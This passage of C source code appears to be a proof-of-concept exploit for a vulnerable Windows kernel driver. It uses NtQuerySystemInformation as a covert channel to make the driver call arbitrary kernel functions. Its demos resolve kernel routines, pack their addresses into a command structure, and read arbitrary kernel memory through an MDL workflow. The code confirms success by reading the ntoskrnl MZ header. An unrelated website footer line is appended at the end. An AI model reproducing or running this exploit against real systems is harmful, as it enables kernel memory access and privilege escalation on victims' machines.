printf("[+] DbgPrint returned: %llu (check kernel debugger output)\n",
(unsigned long long)result);
} else {
printf("[-] Handler did not modify result (sentinel unchanged)\n");
printf(" NtQSI status: 0x%08lx\n", (ULONG)st);
}
}
/* ================================================================ */
/* DEMO 3: Path A - Kernel memory read via MDL workflow */
/* Path A: opcode=1, 6 indirect calls: */
/* func1=IoAllocateMdl(arg1=VA, size, 0, 0, 0) */
/* func2=MmProbeAndLockPages(mdl, 0, direction) */
/* func3=MmMapLockedPagesSpecifyCache(mdl, 0, 0, 0, 0, 16) */
/* rep movsb (copy size bytes between user_ptr and mapped buf) */
/* func4=MmUnmapLockedPages(mapped, mdl) */
/* func5=MmUnlockPages(mdl) */
/* func6=IoFreeMdl(mdl) */
/* ================================================================ */
static void Demo_PathA_ReadKernelMem(
pNtQuerySystemInformation NtQSI, PVOID kernelBase)
{
printf("\n=== Demo Path A: Read kernel memory (MDL workflow) ===\n");
PVOID pIoAllocateMdl = ResolveKernelFunc("IoAllocateMdl", kernelBase);
PVOID pMmProbeAndLockPages = ResolveKernelFunc("MmProbeAndLockPages", kernelBase);
PVOID pMmMapLockedPagesSpecifyCache = ResolveKernelFunc(
"MmMapLockedPagesSpecifyCache", kernelBase);
PVOID pMmUnmapLockedPages = ResolveKernelFunc("MmUnmapLockedPages", kernelBase);
PVOID pMmUnlockPages = ResolveKernelFunc("MmUnlockPages", kernelBase);
PVOID pIoFreeMdl = ResolveKernelFunc("IoFreeMdl", kernelBase);
if (!pIoAllocateMdl || !pMmProbeAndLockPages ||
!pMmMapLockedPagesSpecifyCache || !pMmUnmapLockedPages ||
!pMmUnlockPages || !pIoFreeMdl) {
printf("[-] Failed to resolve MDL functions\n");
return;
}
/* Read 16 bytes from ntoskrnl base (should see "MZ" header) */
__declspec(align(16)) uint8_t userBuf[16] = {0};
uint32_t readSize = sizeof(userBuf);
__declspec(align(16)) BSBS_CMD cmd;
memset(&cmd, 0, sizeof(cmd));
cmd.opcode = 1; /* Path A */
cmd.direction = 0; /* 0 = kernel -> user (read) */
cmd.size = readSize; /* copy 16 bytes */
cmd.arg1 = (uint64_t)kernelBase; /* target VA = ntoskrnl base */
cmd.user_ptr = userBuf; /* destination user buffer */
cmd.func1_swapped = SwapDwords((uint64_t)pIoAllocateMdl);
cmd.func2_swapped = SwapDwords((uint64_t)pMmProbeAndLockPages);
cmd.func3_swapped = SwapDwords((uint64_t)pMmMapLockedPagesSpecifyCache);
cmd.func4_swapped = SwapDwords((uint64_t)pMmUnmapLockedPages);
cmd.func5_swapped = SwapDwords((uint64_t)pMmUnlockPages);
cmd.func6_swapped = SwapDwords((uint64_t)pIoFreeMdl);
printf("[*] Reading %u bytes from ntoskrnl base %p via MDL workflow...\n",
readSize, kernelBase);
printf("[*] userBuf before: ");
for (int i = 0; i < 16; i++) printf("%02x ", userBuf[i]);
printf("\n");
NTSTATUS st = InvokeBSBS(NtQSI, &cmd);
printf("[*] userBuf after: ");
for (uint32_t i = 0; i < readSize; i++) printf("%02x ", userBuf[i]);
printf("\n");
if (userBuf[0] == 'M' && userBuf[1] == 'Z')
printf("[+] SUCCESS! Read ntoskrnl MZ header!\n");
else
printf("[-] Buffer unchanged or all zeros\n");
}
/* ================================================================ */
/* main */
/* ================================================================ */
int main(int argc, char *argv[])
{
printf("=== BSBS Firmware-Table Covert Channel PoC v3 ===\n");
printf("Driver: 1d9224a72e64bb2aad289edc81ea0720c764511c3e2b5beb5d0d5ce82a719abd.sys\n");
/* Resolve NtQuerySystemInformation */
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) hNtdll = LoadLibraryA("ntdll.dll");
if (!hNtdll) { printf("[-] Cannot load ntdll.dll\n"); return 1; }
pNtQuerySystemInformation NtQSI = (pNtQuerySystemInformation)
GetProcAddress(hNtdll, "NtQuerySystemInformation");
if (!NtQSI) { printf("[-] NtQuerySystemInformation not found\n"); return 1; }
/* Get ntoskrnl kernel base */
PVOID kernelBase = NtoskrnlKernelBase();
if (!kernelBase) { printf("[-] Cannot find ntoskrnl base\n"); return 1; }
printf("[+] ntoskrnl kernel base: %p\n\n", kernelBase);
/* Run demos */
Demo_PathB_MmGetPhysicalAddress(NtQSI, kernelBase);
printf("\n[+] Press Enter to continue...");
getchar();
Demo_PathB_DbgPrint(NtQSI, kernelBase);
printf("\n[+] Press Enter to continue...");
getchar();
Demo_PathA_ReadKernelMem(NtQSI, kernelBase);
printf("\n[+] Press Enter to exit...");
getchar();
printf("\n[+] Done.\n");
return 0;
}

浙公网安备 33010602011771号